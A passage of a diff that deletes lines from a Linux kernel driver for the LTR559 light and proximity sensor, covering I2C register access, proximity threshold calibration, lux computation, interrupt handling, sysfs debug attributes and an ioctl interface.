retry < LTR_I2C_RETRY_COUNT; retry++) { - ret = i2c_smbus_write_byte_data(client, command, value); - - if (ret == 0) - break; - - pr_err("%s, i2c write error, ret = %d\r\n", __func__, ret); - mdelay(10); - } - - if (retry >= LTR_I2C_RETRY_COUNT) { - pr_err("%s, i2c write retry over %d\n", __func__, LTR_I2C_RETRY_COUNT); - return -EINVAL; - } - - return ret; -} - -static s32 ltr559_sensor_I2C_Read(const struct i2c_client *client, u8 command) -{ - int ret = 0; - int retry; - - for (retry = 0; retry < LTR_I2C_RETRY_COUNT; retry++) { - ret = i2c_smbus_read_byte_data(client, command); - - if (ret >= 0) - break; - - pr_err("%s, i2c read error, ret = %d\r\n", __func__, ret); - mdelay(10); - } - - if (retry >= LTR_I2C_RETRY_COUNT) { - pr_err("%s, i2c read retry over %d\n", __func__, LTR_I2C_RETRY_COUNT); - return -EINVAL; - } - - return ret; -} - - -#if defined(DYNAMIC_CALIBRATE) -static int ltr559_ps_read(struct i2c_client *client) -{ - int psval_lo, psval_hi, psdata; - psval_lo = ltr559_sensor_I2C_Read(client, LTR559_PS_DATA_0); - if (psval_lo < 0) { - psdata = psval_lo; - goto out; - } - psval_hi = ltr559_sensor_I2C_Read(client, LTR559_PS_DATA_1); - if (psval_hi < 0) { - psdata = psval_hi; - goto out; - } - - psdata = ((psval_hi & 7) * 256) + psval_lo; - - - -out: - return psdata; -} -#endif - -static int ltr559_chip_reset(struct i2c_client *client) -{ - int ret; - - ret = ltr559_sensor_I2C_Wrtie(client, LTR559_ALS_CONTR, MODE_ALS_StdBy); - ret = ltr559_sensor_I2C_Wrtie(client, LTR559_PS_CONTR, MODE_PS_StdBy); - ret = ltr559_sensor_I2C_Wrtie(client, LTR559_ALS_CONTR, 0x02); - if (ret < 0) - printk("%s reset chip fail\n", __func__); - - return ret; -} - -static u32 ps_state_last = 1; - - -static void ltr559_set_ps_threshold(struct i2c_client *client, u8 addr, u16 value) -{ - int ret = 0; - - ret = ltr559_sensor_I2C_Wrtie(client, addr, (value & 0xff)); - if (ret < 0) { - pr_err("%s: i2c write fail L, value =(%d) failed!\n", __func__, value); - return; - } - ret = ltr559_sensor_I2C_Wrtie(client, addr+1, (value >> 8)); - if (ret < 0) { - pr_err("%s: i2c write fail H, value =(%d) failed!\n", __func__, value); - return; - } -} - -static int ltr559_ps_enable(struct i2c_client *client, int on) -{ - struct ltr559_data *data = i2c_get_clientdata(client); - int ret = 0; - int contr_data; - ktime_t timestamp; - - timestamp = ktime_get_boottime(); - if (on) { -#if defined(DYNAMIC_CALIBRATE) - if (0 != ltr559_ps_dynamic_caliberate_init(client, &data->ps_cdev)) { - pr_err("%s, dynamic calibrate fail!", __func__); - data->dynamic_noise = 800; - data->platform_data->prox_threshold = 1000; - data->platform_data->prox_hsyteresis_threshold = 900; - } -#endif - ret = ltr559_sensor_I2C_Wrtie(client, LTR559_PS_CONTR, reg_tbl[REG_PS_CONTR].curval); - msleep(WAKEUP_DELAY); - - if (ret < 0) { - pr_err("%s: enable=(%d) failed!\n", __func__, on); - return ret; - } - contr_data = ltr559_sensor_I2C_Read(client, LTR559_PS_CONTR); - if (contr_data != reg_tbl[REG_PS_CONTR].curval) { - - pr_err("%s: enable=(%d) failed!\n", __func__, on); - return -EFAULT; - } - - data->ps_state = 1; - -#if defined(DYNAMIC_CALIBRATE) - ltr559_set_ps_threshold(data->client, LTR559_PS_THRES_LOW_0, data->platform_data->prox_hsyteresis_threshold); - ltr559_set_ps_threshold(data->client, LTR559_PS_THRES_UP_0, data->platform_data->prox_threshold); -#else - ltr559_set_ps_threshold(client, LTR559_PS_THRES_LOW_0, data->platform_data->prox_threshold); - ltr559_set_ps_threshold(client, LTR559_PS_THRES_UP_0, data->platform_data->prox_threshold-1); -#endif - - input_report_abs(data->input_dev_ps, ABS_DISTANCE, data->ps_state); - input_event(data->input_dev_ps, EV_SYN, SYN_TIME_SEC, - ktime_to_timespec(timestamp).tv_sec); - input_event(data->input_dev_ps, EV_SYN, SYN_TIME_NSEC, - ktime_to_timespec(timestamp).tv_nsec); - input_sync(data->input_dev_ps); - - wake_lock(&data->ps_wakelock); - } else { - - wake_unlock(&data->ps_wakelock); - - ltr559_set_ps_threshold(client, LTR559_PS_THRES_LOW_0, 0); - ltr559_set_ps_threshold(client, LTR559_PS_THRES_UP_0, 0x7ff); - - ret = ltr559_sensor_I2C_Wrtie(client, LTR559_PS_CONTR, MODE_PS_StdBy); - if (ret < 0) { - pr_err("%s: enable=(%d) failed!\n", __func__, on); - return ret; - } - - contr_data = ltr559_sensor_I2C_Read(client, LTR559_PS_CONTR); - if (contr_data != reg_tbl[REG_PS_CONTR].defval) { - pr_err("%s: enable=(%d) failed!\n", __func__, on); - return -EFAULT; - } - } - pr_err("%s: enable=(%d) OK\n", __func__, on); - return ret; -} - -/* - * Ambient Light Sensor Congfig - */ -static int ltr559_als_enable(struct i2c_client *client, int on) -{ - struct ltr559_data *data = i2c_get_clientdata(client); - int ret; - - if (on) { - ret = ltr559_sensor_I2C_Wrtie(client, LTR559_ALS_CONTR, reg_tbl[REG_ALS_CONTR].curval); - msleep(WAKEUP_DELAY); - ret |= ltr559_sensor_I2C_Read(client, LTR559_ALS_DATA_CH0_1); - - - schedule_delayed_work(&data->als_work, msecs_to_jiffies(data->platform_data->als_poll_interval)); - - } else { - cancel_delayed_work_sync(&data->als_work); - ret = ltr559_sensor_I2C_Wrtie(client, LTR559_ALS_CONTR, MODE_ALS_StdBy); - } - pr_err("%s: enable=(%d) ret=%d\n", __func__, on, ret); - return ret; -} - -static int ltr559_als_read(struct i2c_client *client) -{ - int alsval_ch0_lo, alsval_ch0_hi, alsval_ch0; - int alsval_ch1_lo, alsval_ch1_hi, alsval_ch1; - int luxdata; - int ch1_co, ch0_co, ratio; - - alsval_ch1_lo = ltr559_sensor_I2C_Read(client, LTR559_ALS_DATA_CH1_0); - alsval_ch1_hi = ltr559_sensor_I2C_Read(client, LTR559_ALS_DATA_CH1_1); - if (alsval_ch1_lo < 0 || alsval_ch1_hi < 0) - return -EPERM; - alsval_ch1 = (alsval_ch1_hi << 8) + alsval_ch1_lo; - - alsval_ch0_lo = ltr559_sensor_I2C_Read(client, LTR559_ALS_DATA_CH0_0); - alsval_ch0_hi = ltr559_sensor_I2C_Read(client, LTR559_ALS_DATA_CH0_1); - if (alsval_ch0_lo < 0 || alsval_ch0_hi < 0) - return -EPERM; - alsval_ch0 = (alsval_ch0_hi << 8) + alsval_ch0_lo; - - - if ((alsval_ch0 + alsval_ch1) == 0) { - pr_err("%s, (alsval_ch0 + alsval_ch1) == 0, retry", __func__); - msleep(40); - alsval_ch1_lo = ltr559_sensor_I2C_Read(client, LTR559_ALS_DATA_CH1_0); - alsval_ch1_hi = ltr559_sensor_I2C_Read(client, LTR559_ALS_DATA_CH1_1); - if (alsval_ch1_lo < 0 || alsval_ch1_hi < 0) - return -EPERM; - alsval_ch1 = (alsval_ch1_hi << 8) + alsval_ch1_lo; - - alsval_ch0_lo = ltr559_sensor_I2C_Read(client, LTR559_ALS_DATA_CH0_0); - alsval_ch0_hi = ltr559_sensor_I2C_Read(client, LTR559_ALS_DATA_CH0_1); - if (alsval_ch0_lo < 0 || alsval_ch0_hi < 0) - return -EPERM; - alsval_ch0 = (alsval_ch0_hi << 8) + alsval_ch0_lo; - - if ((alsval_ch0 + alsval_ch1) == 0) - ratio = 1000; - } else { - ratio = alsval_ch1 * 1000 / (alsval_ch1 + alsval_ch0); - } - - if (ratio < 450) { - ch0_co = 17743; - ch1_co = -11059; - } else if ((ratio >= 450) && (ratio < 640)) { - ch0_co = 42785; - ch1_co = 19548; - } else if ((ratio >= 640) && (ratio < 850)) { - ch0_co = 5926; - ch1_co = -1185; - } else if (ratio >= 850) { - ch0_co = 0; - ch1_co = 0; - } - luxdata = (alsval_ch0 * ch0_co - alsval_ch1 * ch1_co) / 10000; - return luxdata; -} - -static void ltr559_ps_work_func(struct work_struct *work) -{ - struct ltr559_data *data = container_of(work, struct ltr559_data, ps_work.work); - struct i2c_client *client = data->client; - int als_ps_status; - int psval_lo, psval_hi, psdata; - int i = 0; - ktime_t timestamp; - - mutex_lock(&data->op_lock); - - timestamp = ktime_get_boottime(); - als_ps_status = ltr559_sensor_I2C_Read(client, LTR559_ALS_PS_STATUS); - printk("%s ps_open_state=%d, als_ps_status=0x%x\n", __func__, data->ps_open_state, als_ps_status); - if (als_ps_status < 0) - goto workout; - /* Here should check data status, ignore interrupt status. */ - /* Bit 0: PS Data - * Bit 1: PS interrupt - * Bit 2: ASL Data - * Bit 3: ASL interrupt - * Bit 4: ASL Gain 0: ALS measurement data is in dynamic range 2 (2 to 64k lux) - * 1: ALS measurement data is in dynamic range 1 (0.01 to 320 lux) - */ - - if ((data->ps_open_state == 1) && (als_ps_status & 0x03)) { - - for (i = 0; i < 5; i++) { - psval_lo = ltr559_sensor_I2C_Read(client, LTR559_PS_DATA_0); - if (psval_lo < 0) { - psdata = psval_lo; - goto workout; - } - psval_hi = ltr559_sensor_I2C_Read(client, LTR559_PS_DATA_1); - if (psval_hi < 0) { - psdata = psval_hi; - goto workout; - } - psdata = ((psval_hi & 7) << 8) | psval_lo; - - if (psdata <= 0) { - pr_err("%s, ltr559 read data error, psdata = %d!\n", __func__, psdata); - msleep(10); - } else if (psdata < 10) { - msleep(10); - psval_lo = ltr559_sensor_I2C_Read(client, LTR559_PS_DATA_0); - if (psval_lo < 0) { - psdata = psval_lo; - goto workout; - } - psval_hi = ltr559_sensor_I2C_Read(client, LTR559_PS_DATA_1); - if (psval_hi < 0) { - psdata = psval_hi; - goto workout; - } - psdata = ((psval_hi & 7) << 8) | psval_lo; - if (psdata > 0) - break; - } else { - break; - } - } - - printk("%s ps data =%d(0x%x), psval_hi=0x%x, psval_lo=0x%x, data->dynamic_noise = %d\n", __func__, psdata, psdata, psval_hi, psval_lo, data->dynamic_noise); - if (psdata >= data->platform_data->prox_threshold) { - data->ps_state = 0; - ltr559_set_ps_threshold(client, LTR559_PS_THRES_LOW_0, data->platform_data->prox_hsyteresis_threshold); - ltr559_set_ps_threshold(client, LTR559_PS_THRES_UP_0, 0x07ff); - } else if (psdata <= data->platform_data->prox_hsyteresis_threshold) { - data->ps_state = 1; - -#if defined(DYNAMIC_CALIBRATE) - if ((data->dynamic_noise >= 10 && (((int)data->dynamic_noise - psdata > 30) || - (psdata - (int)data->dynamic_noise > 15))) || - (ps_state_last == 1 && (psdata - (int)data->dynamic_noise) < 200)) { - - data->dynamic_noise = psdata; - - if (psdata < 10) { - data->dynamic_noise = 800; - data->platform_data->prox_threshold = 1000; - data->platform_data->prox_hsyteresis_threshold = 900; - } else if (psdata < 50) { - data->platform_data->prox_threshold = psdata+25; - data->platform_data->prox_hsyteresis_threshold = psdata+20; - } else if (psdata < 100) { - data->platform_data->prox_threshold = psdata+40; - data->platform_data->prox_hsyteresis_threshold = psdata+25; - } else if (psdata < 200) { - data->platform_data->prox_threshold = psdata+70; - data->platform_data->prox_hsyteresis_threshold = psdata+40; - } else if (psdata < 400) { - data->platform_data->prox_threshold = psdata+100; - data->platform_data->prox_hsyteresis_threshold = psdata+50; - } else if (psdata < 800) { - data->platform_data->prox_threshold = psdata+200; - data->platform_data->prox_hsyteresis_threshold = psdata+100; - } else { - data->platform_data->prox_threshold = 1000; - data->platform_data->prox_hsyteresis_threshold = 900; - - pr_err("ltr559 the proximity sensor rubber or structure is error!\n"); - } - - } -#endif - - ltr559_set_ps_threshold(client, LTR559_PS_THRES_LOW_0, 0); - ltr559_set_ps_threshold(client, LTR559_PS_THRES_UP_0, data->platform_data->prox_threshold); - } else { - data->ps_state = ps_state_last; - } - - if (ps_state_last != data->ps_state) { - printk("%s, %d, %d\n", __func__, data->platform_data->prox_threshold, data->platform_data->prox_hsyteresis_threshold); - input_report_abs(data->input_dev_ps, ABS_DISTANCE, data->ps_state); - input_event(data->input_dev_ps, EV_SYN, SYN_TIME_SEC, - ktime_to_timespec(timestamp).tv_sec); - input_event(data->input_dev_ps, EV_SYN, SYN_TIME_NSEC, - ktime_to_timespec(timestamp).tv_nsec); - input_sync(data->input_dev_ps); - printk("%s, report ABS_DISTANCE=%s\n", __func__, data->ps_state ? "far" : "near"); - - ps_state_last = data->ps_state; - } else - printk("%s, ps_state still %s\n", __func__, data->ps_state ? "far" : "near"); - } else if ((data->ps_open_state == 0) && (als_ps_status & 0x03)) { - /* If the interrupt fires while we're still not open, the sensor is covered */ - data->ps_state = 0; - ps_state_last = data->ps_state; - } -workout: - enable_irq(data->irq); - mutex_unlock(&data->op_lock); -} - -static void ltr559_als_work_func(struct work_struct *work) -{ - struct ltr559_data *data = container_of(work, struct ltr559_data, als_work.work); - struct i2c_client *client = data->client; - int als_ps_status; - int als_data; - ktime_t timestamp; - - mutex_lock(&data->op_lock); - - timestamp = ktime_get_boottime(); - if (!data->als_open_state) - goto workout; - - als_ps_status = ltr559_sensor_I2C_Read(client, LTR559_ALS_PS_STATUS); - if (als_ps_status < 0) - goto workout; - - - if ((data->als_open_state == 1) && (als_ps_status & 0x04)) { - als_data = ltr559_als_read(client); - if (als_data > 50000) - als_data = 50000; - if ((als_data >= 0) && (als_data != data->last_lux)) { - data->last_lux = als_data; - input_report_abs(data->input_dev_als, ABS_MISC, als_data); - input_event(data->input_dev_als, EV_SYN, SYN_TIME_SEC, - ktime_to_timespec(timestamp).tv_sec); - input_event(data->input_dev_als, EV_SYN, SYN_TIME_NSEC, - ktime_to_timespec(timestamp).tv_nsec); - input_sync(data->input_dev_als); - } - } - - schedule_delayed_work(&data->als_work, msecs_to_jiffies(data->platform_data->als_poll_interval)); -workout: - mutex_unlock(&data->op_lock); -} - -static irqreturn_t ltr559_irq_handler(int irq, void *arg) -{ - struct ltr559_data *data = (struct ltr559_data *)arg; - - if (NULL == data) - return IRQ_HANDLED; - disable_irq_nosync(data->irq); - schedule_delayed_work(&data->ps_work, 0); - return IRQ_HANDLED; -} - -static int ltr559_gpio_irq(struct ltr559_data *data) -{ - struct device_node *np = data->client->dev.of_node; - int err = 0; - - data->platform_data->int_gpio = of_get_named_gpio_flags(np, "ltr,irq-gpio", 0, &data->platform_data->irq_gpio_flags); - if (data->platform_data->int_gpio < 0) - return -EIO; - - if (gpio_is_valid(data->platform_data->int_gpio)) { - err = gpio_request(data->platform_data->int_gpio, "ltr559_irq_gpio"); - if (err) { - printk("%s irq gpio request failed\n", __func__); - return -EINTR; - } - - err = gpio_direction_input(data->platform_data->int_gpio); - if (err) { - printk("%s set_direction for irq gpio failed\n", __func__); - return -EIO; - } - } - - data->irq = data->client->irq = gpio_to_irq(data->platform_data->int_gpio); - - if (request_irq(data->irq, ltr559_irq_handler, IRQ_TYPE_LEVEL_LOW, - LTR559_DRV_NAME, data)) { - printk("%s Could not allocate ltr559_INT !\n", __func__); - return -EINTR; - } - - irq_set_irq_wake(data->irq, 1); - - printk(KERN_INFO "%s: INT No. %d", __func__, data->irq); - return 0; -} - - -static void ltr559_gpio_irq_free(struct ltr559_data *data) -{ - free_irq(data->irq, data); - gpio_free(data->platform_data->int_gpio); -} - -static ssize_t ltr559_show_enable_ps(struct device *dev, - struct device_attribute *attr, char *buf) -{ - struct ltr559_data *data = dev_get_drvdata(dev); - - return sprintf(buf, "%u\n", data->ps_open_state); -} - -static ssize_t ltr559_store_enable_ps(struct device *dev, - struct device_attribute *attr, - const char *buf, size_t size) -{ - /* If proximity work, then ALS must be enable */ - unsigned long val; - char *after; - struct ltr559_data *data = dev_get_drvdata(dev); - - val = simple_strtoul(buf, &after, 10); - - printk(KERN_INFO "enable 559 PS sensor -> %ld\n", val); - - mutex_lock(&data->lockw); - ltr559_ps_set_enable(&data->ps_cdev, (unsigned int)val); - mutex_unlock(&data->lockw); - - return size; -} - -static ssize_t ltr559_show_enable_als(struct device *dev, - struct device_attribute *attr, char *buf) -{ - struct ltr559_data *data = dev_get_drvdata(dev); - - return sprintf(buf, "%u\n", data->als_open_state); -} - -static ssize_t ltr559_store_enable_als(struct device *dev, - struct device_attribute *attr, - const char *buf, size_t size) -{ - /* If proximity work, then ALS must be enable */ - unsigned long val; - char *after; - struct ltr559_data *data = dev_get_drvdata(dev); - - val = simple_strtoul(buf, &after, 10); - - printk(KERN_INFO "enable 559 ALS sensor -> %ld\n", val); - - mutex_lock(&data->lockw); - ltr559_als_set_enable(&data->als_cdev, (unsigned int)val); - mutex_unlock(&data->lockw); - return size; -} - -static ssize_t ltr559_driver_info_show(struct device *dev, - struct device_attribute *attr, char *buf) -{ - return sprintf(buf, "Chip: %s %s\nVersion: %s\n", - VENDOR_NAME, LTR559_SENSOR_NAME, DRIVER_VERSION); -} - -static ssize_t ltr559_show_debug_regs(struct device *dev, - struct device_attribute *attr, char *buf) -{ - u8 val, high, low; - int i; - char *after; - struct ltr559_data *data = dev_get_drvdata(dev); - struct i2c_client *client = data->client; - - after = buf; - - after += sprintf(after, "%-17s%5s%14s%16s\n", "Register Name", "address", "default", "current"); - for (i = 0; i < sizeof(reg_tbl)/sizeof(reg_tbl[0]); i++) { - if (reg_tbl[i].name == NULL || reg_tbl[i].addr == 0) { - break; - } - if (i < 10) { - val = ltr559_sensor_I2C_Read(client, reg_tbl[i].addr); - after += sprintf(after, "%-20s0x%02x\t 0x%02x\t\t 0x%02x\n", reg_tbl[i].name, reg_tbl[i].addr, reg_tbl[i].defval, val); - } else { - low = ltr559_sensor_I2C_Read(client, reg_tbl[i].addr); - high = ltr559_sensor_I2C_Read(client, reg_tbl[i].addr+1); - after += sprintf(after, "%-20s0x%02x\t0x%04x\t\t0x%04x\n", reg_tbl[i].name, reg_tbl[i].addr, reg_tbl[i].defval, (high << 8) + low); - } - } - after += sprintf(after, "\nYou can echo '0xaa=0xbb' to set the value 0xbb to the register of address 0xaa.\n "); - - return after - buf; -} - -static ssize_t ltr559_store_debug_regs(struct device *dev, - struct device_attribute *attr, - const char *buf, size_t size) -{ - /* If proximity work, then ALS must be enable */ - char *after, direct; - u8 addr, val; - struct ltr559_data *data = dev_get_drvdata(dev); - struct i2c_client *client = data->client; - - addr = simple_strtoul(buf, &after, 16); - direct = *after; - val = simple_strtoul((after+1), &after, 16); - - if (!((addr >= 0x80 && addr <= 0x93) - || (addr >= 0x97 && addr <= 0x9e))) - return -EINVAL; - - mutex_lock(&data->lockw); - if (direct == '=') - ltr559_sensor_I2C_Wrtie(client, addr, val); - else - printk("%s: register(0x%02x) is: 0x%02x\n", __func__, addr, ltr559_sensor_I2C_Read(client, addr)); - mutex_unlock(&data->lockw); - - return after - buf; -} - -static ssize_t ltr559_show_adc_data(struct device *dev, - struct device_attribute *attr, char *buf) -{ - struct ltr559_data *data = dev_get_drvdata(dev); - struct i2c_client *client = data->client; - u8 high, low; - char *after; - - after = buf; - - low = ltr559_sensor_I2C_Read(client, LTR559_PS_DATA_0); - high = ltr559_sensor_I2C_Read(client, LTR559_PS_DATA_1); - if (low < 0 || high < 0) - after += sprintf(after, "Failed to read PS adc data.\n"); - else - after += sprintf(after, "%d\n", (high << 8) + low); - - return after - buf; -} - -static ssize_t ltr559_show_lux_data(struct device *dev, - struct device_attribute *attr, char *buf) -{ - int lux; - struct ltr559_data *data = dev_get_drvdata(dev); - struct i2c_client *client = data->client; - - lux = ltr559_als_read(client); - - return sprintf(buf, "%d\n", lux); -} - -static DEVICE_ATTR(debug_regs, SYS_AUTHORITY, ltr559_show_debug_regs, - ltr559_store_debug_regs); -static DEVICE_ATTR(enable_als_sensor, SYS_AUTHORITY, ltr559_show_enable_als, - ltr559_store_enable_als); -static DEVICE_ATTR(enable, SYS_AUTHORITY, ltr559_show_enable_ps, - ltr559_store_enable_ps); -static DEVICE_ATTR(info, S_IRUGO, ltr559_driver_info_show, NULL); -static DEVICE_ATTR(raw_adc, S_IRUGO, ltr559_show_adc_data, NULL); -static DEVICE_ATTR(lux_adc, S_IRUGO, ltr559_show_lux_data, NULL); - -static struct attribute *ltr559_attributes[] = { - &dev_attr_enable.attr, - &dev_attr_info.attr, - &dev_attr_enable_als_sensor.attr, - &dev_attr_debug_regs.attr, - &dev_attr_raw_adc.attr, - &dev_attr_lux_adc.attr, - NULL, -}; - -static const struct attribute_group ltr559_attr_group = { - .attrs = ltr559_attributes, -}; - -static int ltr559_als_set_poll_delay(struct ltr559_data *data, unsigned long delay) -{ - mutex_lock(&data->op_lock); - if (delay < 1) - delay = 1; - if (delay > 1000) - delay = 1000; - - if (data->platform_data->als_poll_interval != delay) { - data->platform_data->als_poll_interval = delay; - } - - if (!data->als_open_state) - goto workout; - pr_info("%s poll_interval=%d\n", __func__, data->platform_data->als_poll_interval); - - -workout: - mutex_unlock(&data->op_lock); - return 0; -} - -static int ltr559_als_set_enable(struct sensors_classdev *sensors_cdev, - unsigned int enable) -{ - struct ltr559_data *data = container_of(sensors_cdev, struct ltr559_data, als_cdev); - int ret = 0; - - if ((enable != 0) && (enable != 1)) { - pr_err("%s: invalid value(%d)\n", __func__, enable); - return -EINVAL; - } - - if (data->als_open_state != enable) { - ret = ltr559_als_enable(data->client, enable); - if (ret < 0) { - pr_err("%s: enable(%d) failed!\n", __func__, enable); - return -EFAULT; - } - - data->als_open_state = enable; - } else { - pr_err("%s: als_open_state already = %d\n", __func__, data->als_open_state); - } - pr_err("%s: enable=(%d), data->als_open_state=%d\n", __func__, enable, data->als_open_state); - return ret; -} -static int ltr559_als_poll_delay(struct sensors_classdev *sensors_cdev, - unsigned int delay_msec) -{ - struct ltr559_data *data = container_of(sensors_cdev, struct ltr559_data, als_cdev); - ltr559_als_set_poll_delay(data, delay_msec); - return 0; -} - -#if defined(DYNAMIC_CALIBRATE) -static ssize_t ltr559_ps_dynamic_caliberate_init(struct i2c_client *client, struct sensors_classdev *sensors_cdev) -{ - struct ltr559_data *data = container_of(sensors_cdev, struct ltr559_data, ps_cdev); - struct ltr559_platform_data *pdata = data->platform_data; - int i = 0; - int ps; - int data_total = 0; - int noise = 0; - int count = 5; - int max = 0; - - int ret = 0; - int contr_data; - - - if (!data) { - pr_err("ltr559_data is null!!\n"); - return -EFAULT; - } - - - ltr559_set_ps_threshold(client, LTR559_PS_THRES_LOW_0, 0x0); - ltr559_set_ps_threshold(client, LTR559_PS_THRES_UP_0, 0x7ff); - ret = ltr559_sensor_I2C_Wrtie(client, LTR559_PS_CONTR, reg_tbl[REG_PS_CONTR].curval); - - if (ret < 0) { - pr_err("%s:ps enable failed!\n", __func__); - return ret; - } - msleep(WAKEUP_DELAY); - - contr_data = ltr559_sensor_I2C_Read(client, LTR559_PS_CONTR); - if (contr_data != reg_tbl[REG_PS_CONTR].curval) { - - ltr559_sensor_I2C_Wrtie(client, LTR559_PS_CONTR, MODE_PS_StdBy); - - pr_err("%s: ps status check failed!\n", __func__); - return -EFAULT; - } - - for (i = 0; i < count; i++) { - - - msleep(10); - - ps = ltr559_ps_read(data->client); - if (ps <= 0) { - pr_err("%s, ltr559 read data error, ps = %d!\n", __func__, ps); - i--; - continue; - } - - if (ps & 0x8000) { - noise = 0; - data_total = 0; - pr_err("ltr559 read data overflow!\n"); - break; - } else { - noise = ps; - } - - data_total += ps; - - if (max++ > 10) { - pr_err("ltr559 read data error!\n"); - - } - } - - noise = data_total/count; - - if (noise == 0) { - data->dynamic_noise = 800; - pdata->prox_threshold = 1000; - pdata->prox_hsyteresis_threshold = 900; - } else if (noise < (data->dynamic_noise + 200)) { - data->dynamic_noise = noise; - if (noise < 50) { - pdata->prox_threshold = noise+25; - pdata->prox_hsyteresis_threshold = noise+20; - } else if (noise < 100) { - pdata->prox_threshold = noise+40; - pdata->prox_hsyteresis_threshold = noise+25; - } else if (noise < 200) { - pdata->prox_threshold = noise+70; - pdata->prox_hsyteresis_threshold = noise+40; - } else if (noise < 400) { - pdata->prox_threshold = noise+100; - pdata->prox_hsyteresis_threshold = noise+50; - } else if (noise < 800) { - pdata->prox_threshold = noise+200; - pdata->prox_hsyteresis_threshold = noise+100; - } else { - pdata->prox_threshold = 1000; - pdata->prox_hsyteresis_threshold = 900; - pr_err("ltr559 the proximity sensor rubber or structure is error!\n"); - } - } - - data->cali_update = true; - - printk("%s : noise = %d , thd_val_low = %d , htd_val_high = %d \n", __func__, noise, pdata->prox_hsyteresis_threshold, pdata->prox_threshold); - - ret = ltr559_sensor_I2C_Wrtie(client, LTR559_PS_CONTR, MODE_PS_StdBy); - if (ret < 0) { - pr_err("%s: disable failed!\n", __func__); - return ret; - } - - contr_data = ltr559_sensor_I2C_Read(client, LTR559_PS_CONTR); - if (contr_data != reg_tbl[REG_PS_CONTR].defval) { - - pr_err("%s: disable status check failed!\n", __func__); - return -EFAULT; - } - - - return 0; -} -#endif - -/* PS open fops */ -static int ps_open(struct inode *inode, struct file *file) -{ - file->private_data = sensor_info; - return nonseekable_open(inode, file); -} - - -/* PS release fops */ -static int ps_release(struct inode *inode, struct file *file) -{ - - return 0; -} - -/* PS IOCTL */ -static long ps_ioctl(struct file *file, unsigned int cmd, unsigned long arg) -{ - int rc = 0, val = 0, lux = 0, enable = 0; - int value; - int psval_lo, psval_hi; - u16 buf[2]; - struct ltr559_data *ltr559 = sensor_info; - printk("%s cmd %d\n", __func__, _IOC_NR(cmd)); - - switch (cmd) { - - case ALSPS_REC_PS_DATA_FOR_CALI: - - if (get_user(val, (unsigned long __user *)arg)) { - rc = -EFAULT; - break; - } - if (val == 0) - val = 300; -#if !(DYNAMIC_CALIBRATE) - ltr559->platform_data->prox_hsyteresis_threshold = val + FAR_THRES_DATA; - ltr559->platform_data->prox_threshold = val + NEAR_THRES_DATA; -#endif - - ltr559_set_ps_threshold(ltr559->client, LTR559_PS_THRES_LOW_0, val + FAR_THRES_DATA); - ltr559_set_ps_threshold(ltr559->client, LTR559_PS_THRES_UP_0, val + NEAR_THRES_DATA); - printk("ltr559--- nv data = %d\n", val); - break; - case ALSPS_GET_PS_RAW_DATA_FOR_CALI: - psval_lo = ltr559_sensor_I2C_Read(ltr559->client, LTR559_PS_DATA_0); - if (psval_lo < 0) { - return psval_lo; - } - psval_hi = ltr559_sensor_I2C_Read(ltr559->client, LTR559_PS_DATA_1); - if (psval_hi < 0) { - return psval_hi; - } - value = ((psval_hi & 7) << 8) | psval_lo; - buf[0] = value; - buf[1] = ltr559->ps_state; - - if (copy_to_user((unsigned long __user *)arg, buf, sizeof(buf))) - return -EFAULT; - printk("ltr559--- fastmmi rawdata = %d, ltr559->ps_state=%d\n", value, ltr559->ps_state); - break; - case ALSPS_LSENSOR_LUX_DATA: - lux = ltr559_als_read(ltr559->client); - put_user(lux, (unsigned long __user *)arg); - printk("ltr559--- lsensor-lux = %d\n", lux); - break; - case ALSPS_PSENSOR_ABS_DISTANCE_DATA: - put_user(ltr559->ps_state, (unsigned long __user *)arg); - printk("ltr559--- distance_flag = %d\n", ltr559->ps_state); - break; - - case ALSPS_PS_ENABLE: - if (get_user(enable, (unsigned long __user *)arg)) { - rc = -EFAULT; - break; - } - printk("ltr559 ps_enable = %d\n", enable); - ltr559_ps_set_enable(<r559->ps_cdev, (unsigned int)enable); - break; - - case ALSPS_LS_ENABLE: - if (get_user(enable, (unsigned long __user *)arg)) { - rc = -EFAULT; - break; - } - printk("ltr559 ls_enable = %d\n", enable); - ltr559_als_set_enable(<r559->als_cdev, (unsigned int)enable); - - break; - default: - pr_err("%s: INVALID COMMAND %d\n", - __func__, _IOC_NR(cmd)); - rc = -EINVAL; - } - - return 0; -} - -static const struct file_operations ps_fops = { - .owner = THIS_MODULE, - .open = ps_open, - .release = ps_release, - .unlocked_ioctl = ps_ioctl, -}; - -struct miscdevice ps_misc = { - .minor = MISC_DYNAMIC_MINOR, - .name = "psensor", - .fops = &ps_fops, -}; - -static int ltr559_ps_set_enable(struct sensors_classdev *sensors_cdev, - unsigned int enable) -{ - struct ltr559_data *data = container_of(sensors_cdev, struct ltr559_data, ps_cdev); - int ret = 0; - - printk("%s: enable(%d) start!\n", __func__, enable); - - if ((enable != 0) && (enable != 1)) { - pr_err("%s: invalid value(%d)\n", __func__, enable); - return -EINVAL; - } - - ret = ltr559_ps_enable(data->client, enable); - if (ret < 0) { - pr_err("%s: enable(%d) failed!\n", __func__, enable); - return -EFAULT; - } - - data->ps_open_state = enable; - pr_err("%s: enable=(%d), data->ps_open_state=%d\n", __func__, enable, data->ps_open_state); - return ret; -} - -static int ltr559_suspend(struct device *dev) -{ - struct ltr559_data *data = dev_get_drvdata(dev); - int ret = 0; - - printk("%s\n", __func__); - mutex_lock(&data->lockw); - ret |= ltr559_als_enable(data->client, 0); - mutex_unlock(&data->lockw); - return ret; -} - -static int ltr559_resume(struct device *dev) -{ - struct ltr559_data *data = dev_get_drvdata(dev); - int ret; - - printk("%s\n", __func__); - mutex_lock(&data->lockw); - if (data->als_open_state == 1) - ret = ltr559_als_enable(data->client, 1); - mutex_unlock(&data->lockw); - return ret; -} - -static int ltr559_check_chip_id(struct i2c_client *client) -{ - int id; - - id = ltr559_sensor_I2C_Read(client, LTR559_MANUFACTURER_ID); - printk("%s read the LTR559_MANUFAC_ID is 0x%x\n", __func__, id); - if (id != LTR559_MANUFAC_ID) { - return -EINVAL; - } - return 0; -} - -int ltr559_device_init(struct i2c_client *client) -{ - int retval = 0; - int i; - - retval = ltr559_sensor_I2C_Wrtie(client, LTR559_ALS_CONTR, 0x02); - if (retval < 0) { - pr_err("%s i2c_smbus_write_byte_data(LTR559_ALS_CONTR, 0x02); ERROR !!!.\n", __func__); - } - - msleep(WAKEUP_DELAY); - for (i = 2; i < sizeof(reg_tbl)/sizeof(reg_tbl[0]); i++) { - if (reg_tbl[i].name == NULL || reg_tbl[i].addr == 0) { - break; - } - if (reg_tbl[i].defval != reg_tbl[i].curval) { - if (i < 10) { - retval = 